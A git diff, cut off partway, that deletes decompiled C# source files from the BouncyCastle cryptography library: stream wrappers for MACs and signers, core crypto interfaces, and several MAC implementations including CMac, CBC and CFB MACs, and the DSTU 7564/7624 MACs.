a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/IO/MacSink.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/IO/MacSink.cs deleted file mode 100644 index ce405bc..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/IO/MacSink.cs +++ /dev/null @@ -1,28 +0,0 @@ -using Org.BouncyCastle.Utilities.IO; - -namespace Org.BouncyCastle.Crypto.IO; - -public class MacSink : BaseOutputStream -{ - private readonly IMac mMac; - - public virtual IMac Mac => mMac; - - public MacSink(IMac mac) - { - mMac = mac; - } - - public override void WriteByte(byte b) - { - mMac.Update(b); - } - - public override void Write(byte[] buf, int off, int len) - { - if (len > 0) - { - mMac.BlockUpdate(buf, off, len); - } - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/IO/MacStream.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/IO/MacStream.cs deleted file mode 100644 index 57fd4fe..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/IO/MacStream.cs +++ /dev/null @@ -1,109 +0,0 @@ -using System.IO; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.IO; - -public class MacStream : Stream -{ - protected readonly Stream stream; - - protected readonly IMac inMac; - - protected readonly IMac outMac; - - public override bool CanRead => stream.CanRead; - - public override bool CanWrite => stream.CanWrite; - - public override bool CanSeek => stream.CanSeek; - - public override long Length => stream.Length; - - public override long Position - { - get - { - return stream.Position; - } - set - { - stream.Position = value; - } - } - - public MacStream(Stream stream, IMac readMac, IMac writeMac) - { - this.stream = stream; - inMac = readMac; - outMac = writeMac; - } - - public virtual IMac ReadMac() - { - return inMac; - } - - public virtual IMac WriteMac() - { - return outMac; - } - - public override int Read(byte[] buffer, int offset, int count) - { - int num = stream.Read(buffer, offset, count); - if (inMac != null && num > 0) - { - inMac.BlockUpdate(buffer, offset, num); - } - return num; - } - - public override int ReadByte() - { - int num = stream.ReadByte(); - if (inMac != null && num >= 0) - { - inMac.Update((byte)num); - } - return num; - } - - public override void Write(byte[] buffer, int offset, int count) - { - if (outMac != null && count > 0) - { - outMac.BlockUpdate(buffer, offset, count); - } - stream.Write(buffer, offset, count); - } - - public override void WriteByte(byte b) - { - if (outMac != null) - { - outMac.Update(b); - } - stream.WriteByte(b); - } - - public override void Close() - { - Platform.Dispose(stream); - base.Close(); - } - - public override void Flush() - { - stream.Flush(); - } - - public override long Seek(long offset, SeekOrigin origin) - { - return stream.Seek(offset, origin); - } - - public override void SetLength(long length) - { - stream.SetLength(length); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/IO/SignerSink.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/IO/SignerSink.cs deleted file mode 100644 index 97dfc14..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/IO/SignerSink.cs +++ /dev/null @@ -1,28 +0,0 @@ -using Org.BouncyCastle.Utilities.IO; - -namespace Org.BouncyCastle.Crypto.IO; - -public class SignerSink : BaseOutputStream -{ - private readonly ISigner mSigner; - - public virtual ISigner Signer => mSigner; - - public SignerSink(ISigner signer) - { - mSigner = signer; - } - - public override void WriteByte(byte b) - { - mSigner.Update(b); - } - - public override void Write(byte[] buf, int off, int len) - { - if (len > 0) - { - mSigner.BlockUpdate(buf, off, len); - } - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/IO/SignerStream.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/IO/SignerStream.cs deleted file mode 100644 index 58e5164..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/IO/SignerStream.cs +++ /dev/null @@ -1,109 +0,0 @@ -using System.IO; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.IO; - -public class SignerStream : Stream -{ - protected readonly Stream stream; - - protected readonly ISigner inSigner; - - protected readonly ISigner outSigner; - - public override bool CanRead => stream.CanRead; - - public override bool CanWrite => stream.CanWrite; - - public override bool CanSeek => stream.CanSeek; - - public override long Length => stream.Length; - - public override long Position - { - get - { - return stream.Position; - } - set - { - stream.Position = value; - } - } - - public SignerStream(Stream stream, ISigner readSigner, ISigner writeSigner) - { - this.stream = stream; - inSigner = readSigner; - outSigner = writeSigner; - } - - public virtual ISigner ReadSigner() - { - return inSigner; - } - - public virtual ISigner WriteSigner() - { - return outSigner; - } - - public override int Read(byte[] buffer, int offset, int count) - { - int num = stream.Read(buffer, offset, count); - if (inSigner != null && num > 0) - { - inSigner.BlockUpdate(buffer, offset, num); - } - return num; - } - - public override int ReadByte() - { - int num = stream.ReadByte(); - if (inSigner != null && num >= 0) - { - inSigner.Update((byte)num); - } - return num; - } - - public override void Write(byte[] buffer, int offset, int count) - { - if (outSigner != null && count > 0) - { - outSigner.BlockUpdate(buffer, offset, count); - } - stream.Write(buffer, offset, count); - } - - public override void WriteByte(byte b) - { - if (outSigner != null) - { - outSigner.Update(b); - } - stream.WriteByte(b); - } - - public override void Close() - { - Platform.Dispose(stream); - base.Close(); - } - - public override void Flush() - { - stream.Flush(); - } - - public override long Seek(long offset, SeekOrigin origin) - { - return stream.Seek(offset, origin); - } - - public override void SetLength(long length) - { - stream.SetLength(length); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/IRawAgreement.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/IRawAgreement.cs deleted file mode 100644 index ea91c61..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/IRawAgreement.cs +++ /dev/null @@ -1,10 +0,0 @@ -namespace Org.BouncyCastle.Crypto; - -public interface IRawAgreement -{ - int AgreementSize { get; } - - void Init(ICipherParameters parameters); - - void CalculateAgreement(ICipherParameters publicKey, byte[] buf, int off); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/IRsa.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/IRsa.cs deleted file mode 100644 index aed82e5..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/IRsa.cs +++ /dev/null @@ -1,18 +0,0 @@ -using Org.BouncyCastle.Math; - -namespace Org.BouncyCastle.Crypto; - -public interface IRsa -{ - void Init(bool forEncryption, ICipherParameters parameters); - - int GetInputBlockSize(); - - int GetOutputBlockSize(); - - BigInteger ConvertInput(byte[] buf, int off, int len); - - BigInteger ProcessBlock(BigInteger input); - - byte[] ConvertOutput(BigInteger result); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/ISignatureFactory.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/ISignatureFactory.cs deleted file mode 100644 index 5946c01..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/ISignatureFactory.cs +++ /dev/null @@ -1,8 +0,0 @@ -namespace Org.BouncyCastle.Crypto; - -public interface ISignatureFactory -{ - object AlgorithmDetails { get; } - - IStreamCalculator CreateCalculator(); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/ISigner.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/ISigner.cs deleted file mode 100644 index 9f6d73f..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/ISigner.cs +++ /dev/null @@ -1,18 +0,0 @@ -namespace Org.BouncyCastle.Crypto; - -public interface ISigner -{ - string AlgorithmName { get; } - - void Init(bool forSigning, ICipherParameters parameters); - - void Update(byte input); - - void BlockUpdate(byte[] input, int inOff, int length); - - byte[] GenerateSignature(); - - bool VerifySignature(byte[] signature); - - void Reset(); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/ISignerWithRecovery.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/ISignerWithRecovery.cs deleted file mode 100644 index e0343c3..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/ISignerWithRecovery.cs +++ /dev/null @@ -1,10 +0,0 @@ -namespace Org.BouncyCastle.Crypto; - -public interface ISignerWithRecovery : ISigner -{ - bool HasFullMessage(); - - byte[] GetRecoveredMessage(); - - void UpdateWithRecoveredMessage(byte[] signature); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/IStreamCalculator.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/IStreamCalculator.cs deleted file mode 100644 index b98d109..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/IStreamCalculator.cs +++ /dev/null @@ -1,10 +0,0 @@ -using System.IO; - -namespace Org.BouncyCastle.Crypto; - -public interface IStreamCalculator -{ - Stream Stream { get; } - - object GetResult(); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/IStreamCipher.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/IStreamCipher.cs deleted file mode 100644 index e0aba1a..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/IStreamCipher.cs +++ /dev/null @@ -1,14 +0,0 @@ -namespace Org.BouncyCastle.Crypto; - -public interface IStreamCipher -{ - string AlgorithmName { get; } - - void Init(bool forEncryption, ICipherParameters parameters); - - byte ReturnByte(byte input); - - void ProcessBytes(byte[] input, int inOff, int length, byte[] output, int outOff); - - void Reset(); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/IVerifier.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/IVerifier.cs deleted file mode 100644 index 045ec94..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/IVerifier.cs +++ /dev/null @@ -1,8 +0,0 @@ -namespace Org.BouncyCastle.Crypto; - -public interface IVerifier -{ - bool IsVerified(byte[] data); - - bool IsVerified(byte[] source, int off, int length); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/IVerifierFactory.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/IVerifierFactory.cs deleted file mode 100644 index 8dc3357..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/IVerifierFactory.cs +++ /dev/null @@ -1,8 +0,0 @@ -namespace Org.BouncyCastle.Crypto; - -public interface IVerifierFactory -{ - object AlgorithmDetails { get; } - - IStreamCalculator CreateCalculator(); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/IVerifierFactoryProvider.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/IVerifierFactoryProvider.cs deleted file mode 100644 index 7f0aa5c..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/IVerifierFactoryProvider.cs +++ /dev/null @@ -1,6 +0,0 @@ -namespace Org.BouncyCastle.Crypto; - -public interface IVerifierFactoryProvider -{ - IVerifierFactory CreateVerifierFactory(object algorithmDetails); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/IWrapper.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/IWrapper.cs deleted file mode 100644 index 7bce440..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/IWrapper.cs +++ /dev/null @@ -1,12 +0,0 @@ -namespace Org.BouncyCastle.Crypto; - -public interface IWrapper -{ - string AlgorithmName { get; } - - void Init(bool forWrapping, ICipherParameters parameters); - - byte[] Wrap(byte[] input, int inOff, int length); - - byte[] Unwrap(byte[] input, int inOff, int length); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/IXof.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/IXof.cs deleted file mode 100644 index 9b5e618..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/IXof.cs +++ /dev/null @@ -1,8 +0,0 @@ -namespace Org.BouncyCastle.Crypto; - -public interface IXof : IDigest -{ - int DoFinal(byte[] output, int outOff, int outLen); - - int DoOutput(byte[] output, int outOff, int outLen); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/InvalidCipherTextException.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/InvalidCipherTextException.cs deleted file mode 100644 index 47bb106..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/InvalidCipherTextException.cs +++ /dev/null @@ -1,21 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Crypto; - -[Serializable] -public class InvalidCipherTextException : CryptoException -{ - public InvalidCipherTextException() - { - } - - public InvalidCipherTextException(string message) - : base(message) - { - } - - public InvalidCipherTextException(string message, Exception exception) - : base(message, exception) - { - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/KeyGenerationParameters.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/KeyGenerationParameters.cs deleted file mode 100644 index 73fec40..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/KeyGenerationParameters.cs +++ /dev/null @@ -1,29 +0,0 @@ -using System; -using Org.BouncyCastle.Security; - -namespace Org.BouncyCastle.Crypto; - -public class KeyGenerationParameters -{ - private SecureRandom random; - - private int strength; - - public SecureRandom Random => random; - - public int Strength => strength; - - public KeyGenerationParameters(SecureRandom random, int strength) - { - if (random == null) - { - throw new ArgumentNullException("random"); - } - if (strength < 1) - { - throw new ArgumentException("strength must be a positive value", "strength"); - } - this.random = random; - this.strength = strength; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Macs/CMac.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Macs/CMac.cs deleted file mode 100644 index 65ba135..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Macs/CMac.cs +++ /dev/null @@ -1,178 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Modes; -using Org.BouncyCastle.Crypto.Paddings; -using Org.BouncyCastle.Crypto.Parameters; - -namespace Org.BouncyCastle.Crypto.Macs; - -public class CMac : IMac -{ - private const byte CONSTANT_128 = 135; - - private const byte CONSTANT_64 = 27; - - private byte[] ZEROES; - - private byte[] mac; - - private byte[] buf; - - private int bufOff; - - private IBlockCipher cipher; - - private int macSize; - - private byte[] L; - - private byte[] Lu; - - private byte[] Lu2; - - public string AlgorithmName => cipher.AlgorithmName; - - public CMac(IBlockCipher cipher) - : this(cipher, cipher.GetBlockSize() * 8) - { - } - - public CMac(IBlockCipher cipher, int macSizeInBits) - { - if (macSizeInBits % 8 != 0) - { - throw new ArgumentException("MAC size must be multiple of 8"); - } - if (macSizeInBits > cipher.GetBlockSize() * 8) - { - throw new ArgumentException("MAC size must be less or equal to " + cipher.GetBlockSize() * 8); - } - if (cipher.GetBlockSize() != 8 && cipher.GetBlockSize() != 16) - { - throw new ArgumentException("Block size must be either 64 or 128 bits"); - } - this.cipher = new CbcBlockCipher(cipher); - macSize = macSizeInBits / 8; - mac = new byte[cipher.GetBlockSize()]; - buf = new byte[cipher.GetBlockSize()]; - ZEROES = new byte[cipher.GetBlockSize()]; - bufOff = 0; - } - - private static int ShiftLeft(byte[] block, byte[] output) - { - int num = block.Length; - uint num2 = 0u; - while (--num >= 0) - { - uint num3 = block[num]; - output[num] = (byte)((num3 << 1) | num2); - num2 = (num3 >> 7) & 1; - } - return (int)num2; - } - - private static byte[] DoubleLu(byte[] input) - { - byte[] array = new byte[input.Length]; - int num = ShiftLeft(input, array); - int num2 = ((input.Length == 16) ? 135 : 27); - byte[] array3; - byte[] array2 = (array3 = array); - int num3 = input.Length - 1; - nint num4 = num3; - array2[num3] = (byte)(array3[num4] ^ (byte)(num2 >> (1 - num << 3))); - return array; - } - - public void Init(ICipherParameters parameters) - { - if (parameters is KeyParameter) - { - cipher.Init(forEncryption: true, parameters); - L = new byte[ZEROES.Length]; - cipher.ProcessBlock(ZEROES, 0, L, 0); - Lu = DoubleLu(L); - Lu2 = DoubleLu(Lu); - } - else if (parameters != null) - { - throw new ArgumentException("CMac mode only permits key to be set.", "parameters"); - } - Reset(); - } - - public int GetMacSize() - { - return macSize; - } - - public void Update(byte input) - { - if (bufOff == buf.Length) - { - cipher.ProcessBlock(buf, 0, mac, 0); - bufOff = 0; - } - buf[bufOff++] = input; - } - - public void BlockUpdate(byte[] inBytes, int inOff, int len) - { - if (len < 0) - { - throw new ArgumentException("Can't have a negative input length!"); - } - int blockSize = cipher.GetBlockSize(); - int num = blockSize - bufOff; - if (len > num) - { - Array.Copy(inBytes, inOff, buf, bufOff, num); - cipher.ProcessBlock(buf, 0, mac, 0); - bufOff = 0; - len -= num; - inOff += num; - while (len > blockSize) - { - cipher.ProcessBlock(inBytes, inOff, mac, 0); - len -= blockSize; - inOff += blockSize; - } - } - Array.Copy(inBytes, inOff, buf, bufOff, len); - bufOff += len; - } - - public int DoFinal(byte[] outBytes, int outOff) - { - int blockSize = cipher.GetBlockSize(); - byte[] array; - if (bufOff == blockSize) - { - array = Lu; - } - else - { - new ISO7816d4Padding().AddPadding(buf, bufOff); - array = Lu2; - } - for (int i = 0; i < mac.Length; i++) - { - byte[] array3; - byte[] array2 = (array3 = buf); - int num = i; - nint num2 = num; - array2[num] = (byte)(array3[num2] ^ array[i]); - } - cipher.ProcessBlock(buf, 0, mac, 0); - Array.Copy(mac, 0, outBytes, outOff, macSize); - Reset(); - return macSize; - } - - public void Reset() - { - Array.Clear(buf, 0, buf.Length); - bufOff = 0; - cipher.Reset(); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Macs/CbcBlockCipherMac.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Macs/CbcBlockCipherMac.cs deleted file mode 100644 index 43537ef..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Macs/CbcBlockCipherMac.cs +++ /dev/null @@ -1,127 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Modes; -using Org.BouncyCastle.Crypto.Paddings; - -namespace Org.BouncyCastle.Crypto.Macs; - -public class CbcBlockCipherMac : IMac -{ - private byte[] buf; - - private int bufOff; - - private IBlockCipher cipher; - - private IBlockCipherPadding padding; - - private int macSize; - - public string AlgorithmName => cipher.AlgorithmName; - - public CbcBlockCipherMac(IBlockCipher cipher) - : this(cipher, cipher.GetBlockSize() * 8 / 2, null) - { - } - - public CbcBlockCipherMac(IBlockCipher cipher, IBlockCipherPadding padding) - : this(cipher, cipher.GetBlockSize() * 8 / 2, padding) - { - } - - public CbcBlockCipherMac(IBlockCipher cipher, int macSizeInBits) - : this(cipher, macSizeInBits, null) - { - } - - public CbcBlockCipherMac(IBlockCipher cipher, int macSizeInBits, IBlockCipherPadding padding) - { - if (macSizeInBits % 8 != 0) - { - throw new ArgumentException("MAC size must be multiple of 8"); - } - this.cipher = new CbcBlockCipher(cipher); - this.padding = padding; - macSize = macSizeInBits / 8; - buf = new byte[cipher.GetBlockSize()]; - bufOff = 0; - } - - public void Init(ICipherParameters parameters) - { - Reset(); - cipher.Init(forEncryption: true, parameters); - } - - public int GetMacSize() - { - return macSize; - } - - public void Update(byte input) - { - if (bufOff == buf.Length) - { - cipher.ProcessBlock(buf, 0, buf, 0); - bufOff = 0; - } - buf[bufOff++] = input; - } - - public void BlockUpdate(byte[] input, int inOff, int len) - { - if (len < 0) - { - throw new ArgumentException("Can't have a negative input length!"); - } - int blockSize = cipher.GetBlockSize(); - int num = blockSize - bufOff; - if (len > num) - { - Array.Copy(input, inOff, buf, bufOff, num); - cipher.ProcessBlock(buf, 0, buf, 0); - bufOff = 0; - len -= num; - inOff += num; - while (len > blockSize) - { - cipher.ProcessBlock(input, inOff, buf, 0); - len -= blockSize; - inOff += blockSize; - } - } - Array.Copy(input, inOff, buf, bufOff, len); - bufOff += len; - } - - public int DoFinal(byte[] output, int outOff) - { - int blockSize = cipher.GetBlockSize(); - if (padding == null) - { - while (bufOff < blockSize) - { - buf[bufOff++] = 0; - } - } - else - { - if (bufOff == blockSize) - { - cipher.ProcessBlock(buf, 0, buf, 0); - bufOff = 0; - } - padding.AddPadding(buf, bufOff); - } - cipher.ProcessBlock(buf, 0, buf, 0); - Array.Copy(buf, 0, output, outOff, macSize); - Reset(); - return macSize; - } - - public void Reset() - { - Array.Clear(buf, 0, buf.Length); - bufOff = 0; - cipher.Reset(); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Macs/CfbBlockCipherMac.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Macs/CfbBlockCipherMac.cs deleted file mode 100644 index f9d1b0c..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Macs/CfbBlockCipherMac.cs +++ /dev/null @@ -1,126 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Paddings; - -namespace Org.BouncyCastle.Crypto.Macs; - -public class CfbBlockCipherMac : IMac -{ - private byte[] mac; - - private byte[] Buffer; - - private int bufOff; - - private MacCFBBlockCipher cipher; - - private IBlockCipherPadding padding; - - private int macSize; - - public string AlgorithmName => cipher.AlgorithmName; - - public CfbBlockCipherMac(IBlockCipher cipher) - : this(cipher, 8, cipher.GetBlockSize() * 8 / 2, null) - { - } - - public CfbBlockCipherMac(IBlockCipher cipher, IBlockCipherPadding padding) - : this(cipher, 8, cipher.GetBlockSize() * 8 / 2, padding) - { - } - - public CfbBlockCipherMac(IBlockCipher cipher, int cfbBitSize, int macSizeInBits) - : this(cipher, cfbBitSize, macSizeInBits, null) - { - } - - public CfbBlockCipherMac(IBlockCipher cipher, int cfbBitSize, int macSizeInBits, IBlockCipherPadding padding) - { - if (macSizeInBits % 8 != 0) - { - throw new ArgumentException("MAC size must be multiple of 8"); - } - mac = new byte[cipher.GetBlockSize()]; - this.cipher = new MacCFBBlockCipher(cipher, cfbBitSize); - this.padding = padding; - macSize = macSizeInBits / 8; - Buffer = new byte[this.cipher.GetBlockSize()]; - bufOff = 0; - } - - public void Init(ICipherParameters parameters) - { - Reset(); - cipher.Init(forEncryption: true, parameters); - } - - public int GetMacSize() - { - return macSize; - } - - public void Update(byte input) - { - if (bufOff == Buffer.Length) - { - cipher.ProcessBlock(Buffer, 0, mac, 0); - bufOff = 0; - } - Buffer[bufOff++] = input; - } - - public void BlockUpdate(byte[] input, int inOff, int len) - { - if (len < 0) - { - throw new ArgumentException("Can't have a negative input length!"); - } - int blockSize = cipher.GetBlockSize(); - int num = 0; - int num2 = blockSize - bufOff; - if (len > num2) - { - Array.Copy(input, inOff, Buffer, bufOff, num2); - num += cipher.ProcessBlock(Buffer, 0, mac, 0); - bufOff = 0; - len -= num2; - inOff += num2; - while (len > blockSize) - { - num += cipher.ProcessBlock(input, inOff, mac, 0); - len -= blockSize; - inOff += blockSize; - } - } - Array.Copy(input, inOff, Buffer, bufOff, len); - bufOff += len; - } - - public int DoFinal(byte[] output, int outOff) - { - int blockSize = cipher.GetBlockSize(); - if (padding == null) - { - while (bufOff < blockSize) - { - Buffer[bufOff++] = 0; - } - } - else - { - padding.AddPadding(Buffer, bufOff); - } - cipher.ProcessBlock(Buffer, 0, mac, 0); - cipher.GetMacBlock(mac); - Array.Copy(mac, 0, output, outOff, macSize); - Reset(); - return macSize; - } - - public void Reset() - { - Array.Clear(Buffer, 0, Buffer.Length); - bufOff = 0; - cipher.Reset(); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Macs/Dstu7564Mac.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Macs/Dstu7564Mac.cs deleted file mode 100644 index 1e99a96..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Macs/Dstu7564Mac.cs +++ /dev/null @@ -1,117 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Digests; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Crypto.Utilities; - -namespace Org.BouncyCastle.Crypto.Macs; - -public class Dstu7564Mac : IMac -{ - private Dstu7564Digest engine; - - private int macSize; - - private ulong inputLength; - - private byte[] paddedKey; - - private byte[] invertedKey; - - public string AlgorithmName => "DSTU7564Mac"; - - public Dstu7564Mac(int macSizeBits) - { - engine = new Dstu7564Digest(macSizeBits); - macSize = macSizeBits / 8; - } - - public void Init(ICipherParameters parameters) - { - if (parameters is KeyParameter) - { - byte[] key = ((KeyParameter)parameters).GetKey(); - invertedKey = new byte[key.Length]; - paddedKey = PadKey(key); - for (int i = 0; i < invertedKey.Length; i++) - { - invertedKey[i] = (byte)(key[i] ^ 0xFF); - } - engine.BlockUpdate(paddedKey, 0, paddedKey.Length); - return; - } - throw new ArgumentException("Bad parameter passed"); - } - - public int GetMacSize() - { - return macSize; - } - - public void BlockUpdate(byte[] input, int inOff, int len) - { - Check.DataLength(input, inOff, len, "Input buffer too short"); - if (paddedKey == null) - { - throw new InvalidOperationException(AlgorithmName + " not initialised"); - } - engine.BlockUpdate(input, inOff, len); - inputLength += (ulong)len; - } - - public void Update(byte input) - { - engine.Update(input); - inputLength++; - } - - public int DoFinal(byte[] output, int outOff) - { - Check.OutputLength(output, outOff, macSize, "Output buffer too short"); - if (paddedKey == null) - { - throw new InvalidOperationException(AlgorithmName + " not initialised"); - } - Pad(); - engine.BlockUpdate(invertedKey, 0, invertedKey.Length); - inputLength = 0uL; - return engine.DoFinal(output, outOff); - } - - public void Reset() - { - inputLength = 0uL; - engine.Reset(); - if (paddedKey != null) - { - engine.BlockUpdate(paddedKey, 0, paddedKey.Length); - } - } - - private void Pad() - { - int num = engine.GetByteLength() - (int)(inputLength % (ulong)engine.GetByteLength()); - if (num < 13) - { - num += engine.GetByteLength(); - } - byte[] array = new byte[num]; - array[0] = 128; - Pack.UInt64_To_LE(inputLength * 8, array, array.Length - 12); - engine.BlockUpdate(array, 0, array.Length); - } - - private byte[] PadKey(byte[] input) - { - int num = (input.Length + engine.GetByteLength() - 1) / engine.GetByteLength() * engine.GetByteLength(); - int num2 = engine.GetByteLength() - input.Length % engine.GetByteLength(); - if (num2 < 13) - { - num += engine.GetByteLength(); - } - byte[] array = new byte[num]; - Array.Copy(input, 0, array, 0, input.Length); - array[input.Length] = 128; - Pack.UInt32_To_LE((uint)(input.Length * 8), array, array.Length - 12); - return array; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Macs/Dstu7624Mac.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Macs/Dstu7624Mac.cs deleted file mode 100644 index 3c7802f..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Macs/Dstu7624Mac.cs +++ /dev/null @@ -1,132 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Engines; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Macs; - -public class Dstu7624Mac : IMac -{ - private int macSize; - - private Dstu7624Engine engine; - - private int blockSize; - - private byte[] c; - - private byte[] cTemp; - - private byte[] kDelta; - - private byte[] buf; - - private int bufOff; - - public string AlgorithmName => "Dstu7624Mac"; - - public Dstu7624Mac(int blockSizeBits, int q) - { - engine = new Dstu7624Engine(blockSizeBits); - blockSize = blockSizeBits / 8; - macSize = q / 8; - c = new byte[blockSize]; - cTemp = new byte[blockSize]; - kDelta = new byte[blockSize]; - buf = new byte[blockSize]; - } - - public void Init(ICipherParameters parameters) - { - if (parameters is KeyParameter) - { - engine.Init(forEncryption: true, (KeyParameter)parameters); - engine.ProcessBlock(kDelta, 0, kDelta, 0); - return; - } - throw new ArgumentException("invalid parameter passed to Dstu7624Mac init - " + Platform.GetTypeName(parameters)); - } - - public int GetMacSize() - { - return macSize; - } - - public void Update(byte input) - { - if (bufOff == buf.Length) - { - processBlock(buf, 0); - bufOff = 0; - } - buf[bufOff++] = input; - } - - public void BlockUpdate(byte[] input, int inOff, int len) - { - if (len < 0) - { - throw new ArgumentException("Can't have a negative input length!"); - } - int num = engine.GetBlockSize(); - int num2 = num - bufOff; - if (len > num2) - { - Array.Copy(input, inOff, buf, bufOff, num2); - processBlock(buf, 0); - bufOff = 0; - len -= num2; - inOff += num2; - while (len > num) - { - processBlock(input, inOff); - len -= num; - inOff += num; - } - } - Array.Copy(input, inOff, buf, bufOff, len); - bufOff += len; - } - - private void processBlock(byte[] input, int inOff) - { - Xor(c, 0, input, inOff, cTemp); - engine.ProcessBlock(cTemp, 0, c, 0); - } - - private void Xor(byte[] c, int cOff, byte[] input, int inOff, byte[] xorResult) - { - for (int i = 0; i < blockSize; i++) - { - xorResult[i] = (byte)(c[i + cOff] ^ input[i + inOff]); - } - } - - public int DoFinal(byte[] output, int outOff) - { - if (bufOff % buf.Length != 0) - { - throw new DataLengthException("Input must be a multiple of blocksize"); - } - Xor(c, 0, buf, 0, cTemp); - Xor(cTemp, 0, kDelta, 0, c); - engine.ProcessBlock(c, 0, c, 0); - if (macSize + outOff > output.Length) - { - throw new DataLengthException("Output buffer too short"); - } - Array.Copy(c, 0, output, outOff, macSize); - return macSize; - } - - public void Reset() - { - 